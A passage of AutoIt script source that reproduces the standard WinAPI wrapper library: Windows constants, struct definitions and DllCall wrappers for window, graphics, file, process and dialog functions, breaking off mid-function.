Global Const $wh_callwndprocret = 12
Global Const $wh_cbt = 5
Global Const $wh_debug = 9
Global Const $wh_foregroundidle = 11
Global Const $wh_getmessage = 3
Global Const $wh_journalplayback = 1
Global Const $wh_journalrecord = 0
Global Const $wh_keyboard = 2
Global Const $wh_keyboard_ll = 13
Global Const $wh_mouse = 7
Global Const $wh_mouse_ll = 14
Global Const $wh_msgfilter = -1
Global Const $wh_shell = 10
Global Const $wh_sysmsgfilter = 6
Global Const $wpf_asyncwindowplacement = 4
Global Const $wpf_restoretomaximized = 2
Global Const $wpf_setminposition = 1
Global Const $kf_extended = 256
Global Const $kf_altdown = 8192
Global Const $kf_up = 32768
Global Const $llkhf_extended = BitShift($kf_extended, 8)
Global Const $llkhf_injected = 16
Global Const $llkhf_altdown = BitShift($kf_altdown, 8)
Global Const $llkhf_up = BitShift($kf_up, 8)
Global Const $ofn_allowmultiselect = 512
Global Const $ofn_createprompt = 8192
Global Const $ofn_dontaddtorecent = 33554432
Global Const $ofn_enablehook = 32
Global Const $ofn_enableincludenotify = 4194304
Global Const $ofn_enablesizing = 8388608
Global Const $ofn_enabletemplate = 64
Global Const $ofn_enabletemplatehandle = 128
Global Const $ofn_explorer = 524288
Global Const $ofn_extensiondifferent = 1024
Global Const $ofn_filemustexist = 4096
Global Const $ofn_forceshowhidden = 268435456
Global Const $ofn_hidereadonly = 4
Global Const $ofn_longnames = 2097152
Global Const $ofn_nochangedir = 8
Global Const $ofn_nodereferencelinks = 1048576
Global Const $ofn_nolongnames = 262144
Global Const $ofn_nonetworkbutton = 131072
Global Const $ofn_noreadonlyreturn = 32768
Global Const $ofn_notestfilecreate = 65536
Global Const $ofn_novalidate = 256
Global Const $ofn_overwriteprompt = 2
Global Const $ofn_pathmustexist = 2048
Global Const $ofn_readonly = 1
Global Const $ofn_shareaware = 16384
Global Const $ofn_showhelp = 16
Global Const $ofn_ex_noplacesbar = 1
Global Const $tagcursorinfo = "dword Size;dword Flags;handle hCursor;" & $tagpoint
Global Const $tagdisplay_device = "dword Size;wchar Name[32];wchar String[128];dword Flags;wchar ID[128];wchar Key[128]"
Global Const $tagflashwinfo = "uint Size;hwnd hWnd;dword Flags;uint Count;dword TimeOut"
Global Const $tagiconinfo = "bool Icon;dword XHotSpot;dword YHotSpot;handle hMask;handle hColor"
Global Const $tagmemorystatusex = "dword Length;dword MemoryLoad;" & "uint64 TotalPhys;uint64 AvailPhys;uint64 TotalPageFile;uint64 AvailPageFile;" & "uint64 TotalVirtual;uint64 AvailVirtual;uint64 AvailExtendedVirtual"
 
Func _winapi_attachconsole($iprocessid = -1)
    Local $aresult = DllCall("kernel32.dll", "bool", "AttachConsole", "dword", $iprocessid)
    If @error Then Return SetError(@error, @extended, False)
    Return $aresult[0]
EndFunc
 
Func _winapi_attachthreadinput($iattach, $iattachto, $fattach)
    Local $aresult = DllCall("user32.dll", "bool", "AttachThreadInput", "dword", $iattach, "dword", $iattachto, "bool", $fattach)
    If @error Then Return SetError(@error, @extended, False)
    Return $aresult[0]
EndFunc
 
Func _winapi_beep($ifreq = 500, $iduration = 1000)
    Local $aresult = DllCall("kernel32.dll", "bool", "Beep", "dword", $ifreq, "dword", $iduration)
    If @error Then Return SetError(@error, @extended, False)
    Return $aresult[0]
EndFunc
 
Func _winapi_bitblt($hdestdc, $ixdest, $iydest, $iwidth, $iheight, $hsrcdc, $ixsrc, $iysrc, $irop)
    Local $aresult = DllCall("gdi32.dll", "bool", "BitBlt", "handle", $hdestdc, "int", $ixdest, "int", $iydest, "int", $iwidth, "int", $iheight, "handle", $hsrcdc, "int", $ixsrc, "int", $iysrc, "dword", $irop)
    If @error Then Return SetError(@error, @extended, False)
    Return $aresult[0]
EndFunc
 
Func _winapi_callnexthookex($hhk, $icode, $wparam, $lparam)
    Local $aresult = DllCall("user32.dll", "lresult", "CallNextHookEx", "handle", $hhk, "int", $icode, "wparam", $wparam, "lparam", $lparam)
    If @error Then Return SetError(@error, @extended, -1)
    Return $aresult[0]
EndFunc
 
Func _winapi_callwindowproc($lpprevwndfunc, $hwnd, $msg, $wparam, $lparam)
    Local $aresult = DllCall("user32.dll", "lresult", "CallWindowProc", "ptr", $lpprevwndfunc, "hwnd", $hwnd, "uint", $msg, "wparam", $wparam, "lparam", $lparam)
    If @error Then Return SetError(@error, @extended, -1)
    Return $aresult[0]
EndFunc
 
Func _winapi_clienttoscreen($hwnd, ByRef $tpoint)
    Local $ppoint = DllStructGetPtr($tpoint)
    DllCall("user32.dll", "bool", "ClientToScreen", "hwnd", $hwnd, "ptr", $ppoint)
    Return SetError(@error, @extended, $tpoint)
EndFunc
 
Func _winapi_closehandle($hobject)
    Local $aresult = DllCall("kernel32.dll", "bool", "CloseHandle", "handle", $hobject)
    If @error Then Return SetError(@error, @extended, False)
    Return $aresult[0]
EndFunc
 
Func _winapi_combinergn($hrgndest, $hrgnsrc1, $hrgnsrc2, $icombinemode)
    Local $aresult = DllCall("gdi32.dll", "int", "CombineRgn", "handle", $hrgndest, "handle", $hrgnsrc1, "handle", $hrgnsrc2, "int", $icombinemode)
    If @error Then Return SetError(@error, @extended, 0)
    Return $aresult[0]
EndFunc
 
Func _winapi_commdlgextendederror()
    Local Const $cderr_dialogfailure = 65535
    Local Const $cderr_findresfailure = 6
    Local Const $cderr_initialization = 2
    Local Const $cderr_loadresfailure = 7
    Local Const $cderr_loadstrfailure = 5
    Local Const $cderr_lockresfailure = 8
    Local Const $cderr_memallocfailure = 9
    Local Const $cderr_memlockfailure = 10
    Local Const $cderr_nohinstance = 4
    Local Const $cderr_nohook = 11
    Local Const $cderr_notemplate = 3
    Local Const $cderr_registermsgfail = 12
    Local Const $cderr_structsize = 1
    Local Const $fnerr_buffertoosmall = 12291
    Local Const $fnerr_invalidfilename = 12290
    Local Const $fnerr_subclassfailure = 12289
    Local $aresult = DllCall("comdlg32.dll", "dword", "CommDlgExtendedError")
    If @error Then Return SetError(@error, @extended, 0)
    Switch $aresult[0]
        Case $cderr_dialogfailure
            Return SetError($aresult[0], 0, "The dialog box could not be created." & @LF & "The common dialog box function's call to the DialogBox function failed." & @LF & "For example, this error occurs if the common dialog box call specifies an invalid window handle.")
        Case $cderr_findresfailure
            Return SetError($aresult[0], 0, "The common dialog box function failed to find a specified resource.")
        Case $cderr_initialization
            Return SetError($aresult[0], 0, "The common dialog box function failed during initialization." & @LF & "This error often occurs when sufficient memory is not available.")
        Case $cderr_loadresfailure
            Return SetError($aresult[0], 0, "The common dialog box function failed to load a specified resource.")
        Case $cderr_loadstrfailure
            Return SetError($aresult[0], 0, "The common dialog box function failed to load a specified string.")
        Case $cderr_lockresfailure
            Return SetError($aresult[0], 0, "The common dialog box function failed to lock a specified resource.")
        Case $cderr_memallocfailure
            Return SetError($aresult[0], 0, "The common dialog box function was unable to allocate memory for internal structures.")
        Case $cderr_memlockfailure
            Return SetError($aresult[0], 0, "The common dialog box function was unable to lock the memory associated with a handle.")
        Case $cderr_nohinstance
            Return SetError($aresult[0], 0, "The ENABLETEMPLATE flag was set in the Flags member of the initialization structure for the corresponding common dialog box," & @LF & "but you failed to provide a corresponding instance handle.")
        Case $cderr_nohook
            Return SetError($aresult[0], 0, "The ENABLEHOOK flag was set in the Flags member of the initialization structure for the corresponding common dialog box," & @LF & "but you failed to provide a pointer to a corresponding hook procedure.")
        Case $cderr_notemplate
            Return SetError($aresult[0], 0, "The ENABLETEMPLATE flag was set in the Flags member of the initialization structure for the corresponding common dialog box," & @LF & "but you failed to provide a corresponding template.")
        Case $cderr_registermsgfail
            Return SetError($aresult[0], 0, "The RegisterWindowMessage function returned an error code when it was called by the common dialog box function.")
        Case $cderr_structsize
            Return SetError($aresult[0], 0, "The lStructSize member of the initialization structure for the corresponding common dialog box is invalid")
        Case $fnerr_buffertoosmall
            Return SetError($aresult[0], 0, "The buffer pointed to by the lpstrFile member of the OPENFILENAME structure is too small for the file name specified by the user." & @LF & "The first two bytes of the lpstrFile buffer contain an integer value specifying the size, in TCHARs, required to receive the full name.")
        Case $fnerr_invalidfilename
            Return SetError($aresult[0], 0, "A file name is invalid.")
        Case $fnerr_subclassfailure
            Return SetError($aresult[0], 0, "An attempt to subclass a list box failed because sufficient memory was not available.")
    EndSwitch
    Return Hex($aresult[0])
EndFunc
 
Func _winapi_copyicon($hicon)
    Local $aresult = DllCall("user32.dll", "handle", "CopyIcon", "handle", $hicon)
    If @error Then Return SetError(@error, @extended, 0)
    Return $aresult[0]
EndFunc
 
Func _winapi_createbitmap($iwidth, $iheight, $iplanes = 1, $ibitsperpel = 1, $pbits = 0)
    Local $aresult = DllCall("gdi32.dll", "handle", "CreateBitmap", "int", $iwidth, "int", $iheight, "uint", $iplanes, "uint", $ibitsperpel, "ptr", $pbits)
    If @error Then Return SetError(@error, @extended, 0)
    Return $aresult[0]
EndFunc
 
Func _winapi_createcompatiblebitmap($hdc, $iwidth, $iheight)
    Local $aresult = DllCall("gdi32.dll", "handle", "CreateCompatibleBitmap", "handle", $hdc, "int", $iwidth, "int", $iheight)
    If @error Then Return SetError(@error, @extended, 0)
    Return $aresult[0]
EndFunc
 
Func _winapi_createcompatibledc($hdc)
    Local $aresult = DllCall("gdi32.dll", "handle", "CreateCompatibleDC", "handle", $hdc)
    If @error Then Return SetError(@error, @extended, 0)
    Return $aresult[0]
EndFunc
 
Func _winapi_createevent($pattributes = 0, $fmanualreset = True, $finitialstate = True, $sname = "")
    Local $snametype = "wstr"
    If $sname = "" Then
        $sname = 0
        $snametype = "ptr"
    EndIf
    Local $aresult = DllCall("kernel32.dll", "handle", "CreateEventW", "ptr", $pattributes, "bool", $fmanualreset, "bool", $finitialstate, $snametype, $sname)
    If @error Then Return SetError(@error, @extended, 0)
    Return $aresult[0]
EndFunc
 
Func _winapi_createfile($sfilename, $icreation, $iaccess = 4, $ishare = 0, $iattributes = 0, $psecurity = 0)
    Local $ida = 0, $ism = 0, $icd = 0, $ifa = 0
    If BitAND($iaccess, 1) <> 0 Then $ida = BitOR($ida, $generic_execute)
    If BitAND($iaccess, 2) <> 0 Then $ida = BitOR($ida, $generic_read)
    If BitAND($iaccess, 4) <> 0 Then $ida = BitOR($ida, $generic_write)
    If BitAND($ishare, 1) <> 0 Then $ism = BitOR($ism, $file_share_delete)
    If BitAND($ishare, 2) <> 0 Then $ism = BitOR($ism, $file_share_read)
    If BitAND($ishare, 4) <> 0 Then $ism = BitOR($ism, $file_share_write)
    Switch $icreation
        Case 0
            $icd = $create_new
        Case 1
            $icd = $create_always
        Case 2
            $icd = $open_existing
        Case 3
            $icd = $open_always
        Case 4
            $icd = $truncate_existing
    EndSwitch
    If BitAND($iattributes, 1) <> 0 Then $ifa = BitOR($ifa, $file_attribute_archive)
    If BitAND($iattributes, 2) <> 0 Then $ifa = BitOR($ifa, $file_attribute_hidden)
    If BitAND($iattributes, 4) <> 0 Then $ifa = BitOR($ifa, $file_attribute_readonly)
    If BitAND($iattributes, 8) <> 0 Then $ifa = BitOR($ifa, $file_attribute_system)
    Local $aresult = DllCall("kernel32.dll", "handle", "CreateFileW", "wstr", $sfilename, "dword", $ida, "dword", $ism, "ptr", $psecurity, "dword", $icd, "dword", $ifa, "ptr", 0)
    If @error OR $aresult[0] = Ptr(-1) Then Return SetError(@error, @extended, 0)
    Return $aresult[0]
EndFunc
 
Func _winapi_createfont($nheight, $nwidth, $nescape = 0, $norientn = 0, $fnweight = $__winapiconstant_fw_normal, $bitalic = False, $bunderline = False, $bstrikeout = False, $ncharset = $__winapiconstant_default_charset, $noutputprec = $__winapiconstant_out_default_precis, $nclipprec = $__winapiconstant_clip_default_precis, $nquality = $__winapiconstant_default_quality, $npitch = 0, $szface = "Arial")
    Local $aresult = DllCall("gdi32.dll", "handle", "CreateFontW", "int", $nheight, "int", $nwidth, "int", $nescape, "int", $norientn, "int", $fnweight, "dword", $bitalic, "dword", $bunderline, "dword", $bstrikeout, "dword", $ncharset, "dword", $noutputprec, "dword", $nclipprec, "dword", $nquality, "dword", $npitch, "wstr", $szface)
    If @error Then Return SetError(@error, @extended, 0)
    Return $aresult[0]
EndFunc
 
Func _winapi_createfontindirect($tlogfont)
    Local $aresult = DllCall("gdi32.dll", "handle", "CreateFontIndirectW", "ptr", DllStructGetPtr($tlogfont))
    If @error Then Return SetError(@error, @extended, 0)
    Return $aresult[0]
EndFunc
 
Func _winapi_createpen($ipenstyle, $iwidth, $ncolor)
    Local $aresult = DllCall("gdi32.dll", "handle", "CreatePen", "int", $ipenstyle, "int", $iwidth, "dword", $ncolor)
    If @error Then Return SetError(@error, @extended, 0)
    Return $aresult[0]
EndFunc
 
Func _winapi_createprocess($sappname, $scommand, $psecurity, $pthread, $finherit, $iflags, $penviron, $sdir, $pstartupinfo, $pprocess)
    Local $pcommand = 0
    Local $sappnametype = "wstr", $sdirtype = "wstr"
    If $sappname = "" Then
        $sappnametype = "ptr"
        $sappname = 0
    EndIf
    If $scommand <> "" Then
        Local $tcommand = DllStructCreate("wchar Text[" & 260 + 1 & "]")
        $pcommand = DllStructGetPtr($tcommand)
        DllStructSetData($tcommand, "Text", $scommand)
    EndIf
    If $sdir = "" Then
        $sdirtype = "ptr"
        $sdir = 0
    EndIf
    Local $aresult = DllCall("kernel32.dll", "bool", "CreateProcessW", $sappnametype, $sappname, "ptr", $pcommand, "ptr", $psecurity, "ptr", $pthread, "bool", $finherit, "dword", $iflags, "ptr", $penviron, $sdirtype, $sdir, "ptr", $pstartupinfo, "ptr", $pprocess)
    If @error Then Return SetError(@error, @extended, False)
    Return $aresult[0]
EndFunc
 
Func _winapi_createrectrgn($ileftrect, $itoprect, $irightrect, $ibottomrect)
    Local $aresult = DllCall("gdi32.dll", "handle", "CreateRectRgn", "int", $ileftrect, "int", $itoprect, "int", $irightrect, "int", $ibottomrect)
    If @error Then Return SetError(@error, @extended, 0)
    Return $aresult[0]
EndFunc
 
Func _winapi_createroundrectrgn($ileftrect, $itoprect, $irightrect, $ibottomrect, $iwidthellipse, $iheightellipse)
    Local $aresult = DllCall("gdi32.dll", "handle", "CreateRoundRectRgn", "int", $ileftrect, "int", $itoprect, "int", $irightrect, "int", $ibottomrect, "int", $iwidthellipse, "int", $iheightellipse)
    If @error Then Return SetError(@error, @extended, 0)
    Return $aresult[0]
EndFunc
 
Func _winapi_createsolidbitmap($hwnd, $icolor, $iwidth, $iheight, $brgb = 1)
    Local $hdc = _winapi_getdc($hwnd)
    Local $hdestdc = _winapi_createcompatibledc($hdc)
    Local $hbitmap = _winapi_createcompatiblebitmap($hdc, $iwidth, $iheight)
    Local $hold = _winapi_selectobject($hdestdc, $hbitmap)
    Local $trect = DllStructCreate($tagrect)
    DllStructSetData($trect, 1, 0)
    DllStructSetData($trect, 2, 0)
    DllStructSetData($trect, 3, $iwidth)
    DllStructSetData($trect, 4, $iheight)
    If $brgb Then
        $icolor = BitOR(BitAND($icolor, 65280), BitShift(BitAND($icolor, 255), -16), BitShift(BitAND($icolor, 16711680), 16))
    EndIf
    Local $hbrush = _winapi_createsolidbrush($icolor)
    _winapi_fillrect($hdestdc, DllStructGetPtr($trect), $hbrush)
    If @error Then
        _winapi_deleteobject($hbitmap)
        $hbitmap = 0
    EndIf
    _winapi_deleteobject($hbrush)
    _winapi_releasedc($hwnd, $hdc)
    _winapi_selectobject($hdestdc, $hold)
    _winapi_deletedc($hdestdc)
    If NOT $hbitmap Then Return SetError(1, 0, 0)
    Return $hbitmap
EndFunc
 
Func _winapi_createsolidbrush($ncolor)
    Local $aresult = DllCall("gdi32.dll", "handle", "CreateSolidBrush", "dword", $ncolor)
    If @error Then Return SetError(@error, @extended, 0)
    Return $aresult[0]
EndFunc
 
Func _winapi_createwindowex($iexstyle, $sclass, $sname, $istyle, $ix, $iy, $iwidth, $iheight, $hparent, $hmenu = 0, $hinstance = 0, $pparam = 0)
    If $hinstance = 0 Then $hinstance = _winapi_getmodulehandle("")
    Local $aresult = DllCall("user32.dll", "hwnd", "CreateWindowExW", "dword", $iexstyle, "wstr", $sclass, "wstr", $sname, "dword", $istyle, "int", $ix, "int", $iy, "int", $iwidth, "int", $iheight, "hwnd", $hparent, "handle", $hmenu, "handle", $hinstance, "ptr", $pparam)
    If @error Then Return SetError(@error, @extended, 0)
    Return $aresult[0]
EndFunc
 
Func _winapi_defwindowproc($hwnd, $imsg, $iwparam, $ilparam)
    Local $aresult = DllCall("user32.dll", "lresult", "DefWindowProc", "hwnd", $hwnd, "uint", $imsg, "wparam", $iwparam, "lparam", $ilparam)
    If @error Then Return SetError(@error, @extended, 0)
    Return $aresult[0]
EndFunc
 
Func _winapi_deletedc($hdc)
    Local $aresult = DllCall("gdi32.dll", "bool", "DeleteDC", "handle", $hdc)
    If @error Then Return SetError(@error, @extended, False)
    Return $aresult[0]
EndFunc
 
Func _winapi_deleteobject($hobject)
    Local $aresult = DllCall("gdi32.dll", "bool", "DeleteObject", "handle", $hobject)
    If @error Then Return SetError(@error, @extended, False)
    Return $aresult[0]
EndFunc
 
Func _winapi_destroyicon($hicon)
    Local $aresult = DllCall("user32.dll", "bool", "DestroyIcon", "handle", $hicon)
    If @error Then Return SetError(@error, @extended, False)
    Return $aresult[0]
EndFunc
 
Func _winapi_destroywindow($hwnd)
    Local $aresult = DllCall("user32.dll", "bool", "DestroyWindow", "hwnd", $hwnd)
    If @error Then Return SetError(@error, @extended, False)
    Return $aresult[0]
EndFunc
 
Func _winapi_drawedge($hdc, $ptrrect, $nedgetype, $grfflags)
    Local $aresult = DllCall("user32.dll", "bool", "DrawEdge", "handle", $hdc, "ptr", $ptrrect, "uint", $nedgetype, "uint", $grfflags)
    If @error Then Return SetError(@error, @extended, False)
    Return $aresult[0]
EndFunc
 
Func _winapi_drawframecontrol($hdc, $ptrrect, $ntype, $nstate)
    Local $aresult = DllCall("user32.dll", "bool", "DrawFrameControl", "handle", $hdc, "ptr", $ptrrect, "uint", $ntype, "uint", $nstate)
    If @error Then Return SetError(@error, @extended, False)
    Return $aresult[0]
EndFunc
 
Func _winapi_drawicon($hdc, $ix, $iy, $hicon)
    Local $aresult = DllCall("user32.dll", "bool", "DrawIcon", "handle", $hdc, "int", $ix, "int", $iy, "handle", $hicon)
    If @error Then Return SetError(@error, @extended, False)
    Return $aresult[0]
EndFunc
 
Func _winapi_drawiconex($hdc, $ix, $iy, $hicon, $iwidth = 0, $iheight = 0, $istep = 0, $hbrush = 0, $iflags = 3)
    Local $ioptions
    Switch $iflags
        Case 1
            $ioptions = $__winapiconstant_di_mask
        Case 2
            $ioptions = $__winapiconstant_di_image
        Case 3
            $ioptions = $__winapiconstant_di_normal
        Case 4
            $ioptions = $__winapiconstant_di_compat
        Case 5
            $ioptions = $__winapiconstant_di_defaultsize
        Case Else
            $ioptions = $__winapiconstant_di_nomirror
    EndSwitch
    Local $aresult = DllCall("user32.dll", "bool", "DrawIconEx", "handle", $hdc, "int", $ix, "int", $iy, "handle", $hicon, "int", $iwidth, "int", $iheight, "uint", $istep, "handle", $hbrush, "uint", $ioptions)
    If @error Then Return SetError(@error, @extended, False)
    Return $aresult[0]
EndFunc
 
Func _winapi_drawline($hdc, $ix1, $iy1, $ix2, $iy2)
    _winapi_moveto($hdc, $ix1, $iy1)
    If @error Then Return SetError(@error, @extended, False)
    _winapi_lineto($hdc, $ix2, $iy2)
    If @error Then Return SetError(@error, @extended, False)
    Return True
EndFunc
 
Func _winapi_drawtext($hdc, $stext, ByRef $trect, $iflags)
    Local $aresult = DllCall("user32.dll", "int", "DrawTextW", "handle", $hdc, "wstr", $stext, "int", -1, "ptr", DllStructGetPtr($trect), "uint", $iflags)
    If @error Then Return SetError(@error, @extended, 0)
    Return $aresult[0]
EndFunc
 
Func _winapi_enablewindow($hwnd, $fenable = True)
    Local $aresult = DllCall("user32.dll", "bool", "EnableWindow", "hwnd", $hwnd, "bool", $fenable)
    If @error Then Return SetError(@error, @extended, False)
    Return $aresult[0]
EndFunc
 
Func _winapi_enumdisplaydevices($sdevice, $idevnum)
    Local $pname = 0, $iflags = 0, $adevice[5]
    If $sdevice <> "" Then
        Local $tname = DllStructCreate("wchar Text[" & StringLen($sdevice) + 1 & "]")
        $pname = DllStructGetPtr($tname)
        DllStructSetData($tname, "Text", $sdevice)
    EndIf
    Local $tdevice = DllStructCreate($tagdisplay_device)
    Local $pdevice = DllStructGetPtr($tdevice)
    Local $idevice = DllStructGetSize($tdevice)
    DllStructSetData($tdevice, "Size", $idevice)
    DllCall("user32.dll", "bool", "EnumDisplayDevicesW", "ptr", $pname, "dword", $idevnum, "ptr", $pdevice, "dword", 1)
    If @error Then Return SetError(@error, @extended, 0)
    Local $in = DllStructGetData($tdevice, "Flags")
    If BitAND($in, $__winapiconstant_display_device_attached_to_desktop) <> 0 Then $iflags = BitOR($iflags, 1)
    If BitAND($in, $__winapiconstant_display_device_primary_device) <> 0 Then $iflags = BitOR($iflags, 2)
    If BitAND($in, $__winapiconstant_display_device_mirroring_driver) <> 0 Then $iflags = BitOR($iflags, 4)
    If BitAND($in, $__winapiconstant_display_device_vga_compatible) <> 0 Then $iflags = BitOR($iflags, 8)
    If BitAND($in, $__winapiconstant_display_device_removable) <> 0 Then $iflags = BitOR($iflags, 16)
    If BitAND($in, $__winapiconstant_display_device_modespruned) <> 0 Then $iflags = BitOR($iflags, 32)
    $adevice[0] = True
    $adevice[1] = DllStructGetData($tdevice, "Name")
    $adevice[2] = DllStructGetData($tdevice, "String")
    $adevice[3] = $iflags
    $adevice[4] = DllStructGetData($tdevice, "ID")
    Return $adevice
EndFunc
 
Func _winapi_enumwindows($fvisible = True, $hwnd = Default)
    __winapi_enumwindowsinit()
    If $hwnd = Default Then $hwnd = _winapi_getdesktopwindow()
    __winapi_enumwindowschild($hwnd, $fvisible)
    Return $__gawinlist_winapi
EndFunc
 
Func __winapi_enumwindowsadd($hwnd, $sclass = "")
    If $sclass = "" Then $sclass = _winapi_getclassname($hwnd)
    $__gawinlist_winapi[0][0] += 1
    Local $icount = $__gawinlist_winapi[0][0]
    If $icount >= $__gawinlist_winapi[0][1] Then
        ReDim $__gawinlist_winapi[$icount + 64][2]
        $__gawinlist_winapi[0][1] += 64
    EndIf
    $__gawinlist_winapi[$icount][0] = $hwnd
    $__gawinlist_winapi[$icount][1] = $sclass
EndFunc
 
Func __winapi_enumwindowschild($hwnd, $fvisible = True)
    $hwnd = _winapi_getwindow($hwnd, $__winapiconstant_gw_child)
    While $hwnd <> 0
        If (NOT $fvisible) OR _winapi_iswindowvisible($hwnd) Then
            __winapi_enumwindowschild($hwnd, $fvisible)
            __winapi_enumwindowsadd($hwnd)
        EndIf
        $hwnd = _winapi_getwindow($hwnd, $__winapiconstant_gw_hwndnext)
    WEnd
EndFunc
 
Func __winapi_enumwindowsinit()
    ReDim $__gawinlist_winapi[64][2]
    $__gawinlist_winapi[0][0] = 0
    $__gawinlist_winapi[0][1] = 64
EndFunc
 
Func _winapi_enumwindowspopup()
    __winapi_enumwindowsinit()
    Local $hwnd = _winapi_getwindow(_winapi_getdesktopwindow(), $__winapiconstant_gw_child)
    Local $sclass
    While $hwnd <> 0
        If _winapi_iswindowvisible($hwnd) Then
            $sclass = _winapi_getclassname($hwnd)
            If $sclass = "#32768" Then
                __winapi_enumwindowsadd($hwnd)
            ElseIf $sclass = "ToolbarWindow32" Then
                __winapi_enumwindowsadd($hwnd)
            ElseIf $sclass = "ToolTips_Class32" Then
                __winapi_enumwindowsadd($hwnd)
            ElseIf $sclass = "BaseBar" Then
                __winapi_enumwindowschild($hwnd)
            EndIf
        EndIf
        $hwnd = _winapi_getwindow($hwnd, $__winapiconstant_gw_hwndnext)
    WEnd
    Return $__gawinlist_winapi
EndFunc
 
Func _winapi_enumwindowstop()
    __winapi_enumwindowsinit()
    Local $hwnd = _winapi_getwindow(_winapi_getdesktopwindow(), $__winapiconstant_gw_child)
    While $hwnd <> 0
        If _winapi_iswindowvisible($hwnd) Then __winapi_enumwindowsadd($hwnd)
        $hwnd = _winapi_getwindow($hwnd, $__winapiconstant_gw_hwndnext)
    WEnd
    Return $__gawinlist_winapi
EndFunc
 
Func _winapi_expandenvironmentstrings($sstring)
    Local $aresult = DllCall("kernel32.dll", "dword", "ExpandEnvironmentStringsW", "wstr", $sstring, "wstr", "", "dword", 4096)
    If @error Then Return SetError(@error, @extended, "")
    Return $aresult[2]
EndFunc
 
Func _winapi_extracticonex($sfile, $iindex, $plarge, $psmall, $iicons)
    Local $aresult = DllCall("shell32.dll", "uint", "ExtractIconExW", "wstr", $sfile, "int", $iindex, "handle", $plarge, "handle", $psmall, "uint", $iicons)
    If @error Then Return SetError(@error, @extended, 0)
    Return $aresult[0]
EndFunc
 
Func _winapi_fatalappexit($smessage)
    DllCall("kernel32.dll", "none", "FatalAppExitW", "uint", 0, "wstr", $smessage)
    If @error Then Return SetError(@error, @extended)
EndFunc
 
Func _winapi_fillrect($hdc, $ptrrect, $hbrush)
    Local $aresult
    If IsPtr($hbrush) Then
        $aresult = DllCall("user32.dll", "int", "FillRect", "handle", $hdc, "ptr", $ptrrect, "handle", $hbrush)
    Else
        $aresult = DllCall("user32.dll", "int", "FillRect", "handle", $hdc, "ptr", $ptrrect, "dword", $hbrush)
    EndIf
    If @error Then Return SetError(@error, @extended, False)
    Return $aresult[0]
EndFunc
 
Func _winapi_findexecutable($sfilename, $sdirectory = "")
    Local $aresult = DllCall("shell32.dll", "INT", "FindExecutableW", "wstr", $sfilename, "wstr", $sdirectory, "wstr", "")
    If @error Then Return SetError(@error, @extended, 0)
    Return SetExtended($aresult[0], $aresult[3])
EndFunc
 
Func _winapi_findwindow($sclassname, $swindowname)
    Local $aresult = DllCall("user32.dll", "hwnd", "FindWindowW", "wstr", $sclassname, "wstr", $swindowname)
    If @error Then Return SetError(@error, @extended, 0)
    Return $aresult[0]
EndFunc
 
Func _winapi_flashwindow($hwnd, $finvert = True)
    Local $aresult = DllCall("user32.dll", "bool", "FlashWindow", "hwnd", $hwnd, "bool", $finvert)
    If @error Then Return SetError(@error, @extended, False)
    Return $aresult[0]
EndFunc
 
Func _winapi_flashwindowex($hwnd, $iflags = 3, $icount = 3, $itimeout = 0)
    Local $tflash = DllStructCreate($tagflashwinfo)
    Local $pflash = DllStructGetPtr($tflash)
    Local $iflash = DllStructGetSize($tflash)
    Local $imode = 0
    If BitAND($iflags, 1) <> 0 Then $imode = BitOR($imode, $__winapiconstant_flashw_caption)
    If BitAND($iflags, 2) <> 0 Then $imode = BitOR($imode, $__winapiconstant_flashw_tray)
    If BitAND($iflags, 4) <> 0 Then $imode = BitOR($imode, $__winapiconstant_flashw_timer)
    If BitAND($iflags, 8) <> 0 Then $imode = BitOR($imode, $__winapiconstant_flashw_timernofg)
    DllStructSetData($tflash, "Size", $iflash)
    DllStructSetData($tflash, "hWnd", $hwnd)
    DllStructSetData($tflash, "Flags", $imode)
    DllStructSetData($tflash, "Count", $icount)
    DllStructSetData($tflash, "Timeout", $itimeout)
    Local $aresult = DllCall("user32.dll", "bool", "FlashWindowEx", "ptr", $pflash)
    If @error Then Return SetError(@error, @extended, False)
    Return $aresult[0]
EndFunc
 
Func _winapi_floattoint($nfloat)
    Local $tfloat = DllStructCreate("float")
    Local $tint = DllStructCreate("int", DllStructGetPtr($tfloat))
    DllStructSetData($tfloat, 1, $nfloat)
    Return DllStructGetData($tint, 1)
EndFunc
 
Func _winapi_flushfilebuffers($hfile)
    Local $aresult = DllCall("kernel32.dll", "bool", "FlushFileBuffers", "handle", $hfile)
    If @error Then Return SetError(@error, @extended, False)
    Return $aresult[0]
EndFunc
 
Func _winapi_formatmessage($iflags, $psource, $imessageid, $ilanguageid, ByRef $pbuffer, $isize, $varguments)
    Local $sbuffertype = "ptr"
    If IsString($pbuffer) Then $sbuffertype = "wstr"
    Local $aresult = DllCall("Kernel32.dll", "dword", "FormatMessageW", "dword", $iflags, "ptr", $psource, "dword", $imessageid, "dword", $ilanguageid, $sbuffertype, $pbuffer, "dword", $isize, "ptr", $varguments)
    If @error Then Return SetError(@error, @extended, 0)
    If $sbuffertype = "wstr" Then $pbuffer = $aresult[5]
    Return $aresult[0]
EndFunc
 
Func _winapi_framerect($hdc, $ptrrect, $hbrush)
    Local $aresult = DllCall("user32.dll", "int", "FrameRect", "handle", $hdc, "ptr", $ptrrect, "handle", $hbrush)
    If @error Then Return SetError(@error, @extended, False)
    Return $aresult[0]
EndFunc
 
Func _winapi_freelibrary($hmodule)
    Local $aresult = DllCall("kernel32.dll", "bool", "FreeLibrary", "handle", $hmodule)
    If @error Then Return SetError(@error, @extended, False)
    Return $aresult[0]
EndFunc
 
Func _winapi_getancestor($hwnd, $iflags = 1)
    Local $aresult = DllCall("user32.dll", "hwnd", "GetAncestor", "hwnd", $hwnd, "uint", $iflags)
    If @error Then Return SetError(@error, @extended, 0)
    Return $aresult[0]
EndFunc
 
Func _winapi_getasynckeystate($ikey)
    Local $aresult = DllCall("user32.dll", "short", "GetAsyncKeyState", "int", $ikey)
    If @error Then Return SetError(@error, @extended, 0)
    Return $aresult[0]
EndFunc
 
Func _winapi_getbkmode($hdc)
    Local $aresult = DllCall("gdi32.dll", "int", "GetBkMode", "handle", $hdc)
    If @error Then Return SetError(@error, @extended, 0)
    Return $aresult[0]
EndFunc
 
Func _winapi_getclassname($hwnd)
    If NOT IsHWnd($hwnd) Then $hwnd = GUICtrlGetHandle($hwnd)
    Local $aresult = DllCall("user32.dll", "int", "GetClassNameW", "hwnd", $hwnd, "wstr", "", "int", 4096)
    If @error Then Return SetError(@error, @extended, False)
    Return SetExtended($aresult[0], $aresult[2])
EndFunc
 
Func _winapi_getclientheight($hwnd)
    Local $trect = _winapi_getclientrect($hwnd)
    If @error Then Return SetError(@error, @extended, 0)
